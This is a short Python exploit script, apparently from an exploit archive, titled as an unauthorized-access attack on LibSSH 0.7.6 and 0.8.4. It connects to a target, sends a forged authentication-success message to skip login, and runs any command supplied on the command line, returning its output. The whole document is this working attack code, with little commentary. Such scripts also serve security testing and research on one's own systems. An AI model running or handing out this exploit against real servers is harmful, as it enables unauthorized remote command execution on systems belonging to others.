LibSSH 0.7.6 / 0.8.4 Unauthorized Access

`#!/usr/bin/env python3  
import sys  
import paramiko  
import socket  
import logging  
  
# pip3 install paramiko==2.0.8  
  
#logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)  
logging.basicConfig(stream=sys.stdout)  
bufsize = 2048  
  
  
  
def execute(hostname, port, command):  
sock = socket.socket()  
try:  
sock.connect((hostname, int(port)))  
  
message = paramiko.message.Message()  
transport = paramiko.transport.Transport(sock)  
transport.start_client()  
  
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)  
transport._send_message(message)  
  
client = transport.open_session(timeout=10)  
client.exec_command(command)  
  
# stdin = client.makefile("wb", bufsize)  
stdout = client.makefile("rb", bufsize)  
stderr = client.makefile_stderr("rb", bufsize)  
  
output = stdout.read()  
error = stderr.read()  
  
stdout.close()  
stderr.close()  
  
return (output+error).decode()  
except paramiko.SSHException as e:  
logging.exception(e)  
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")  
except socket.error:  
logging.debug("Unable to connect.")  
  
return None  
  
  
if __name__ == '__main__':  
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))  
`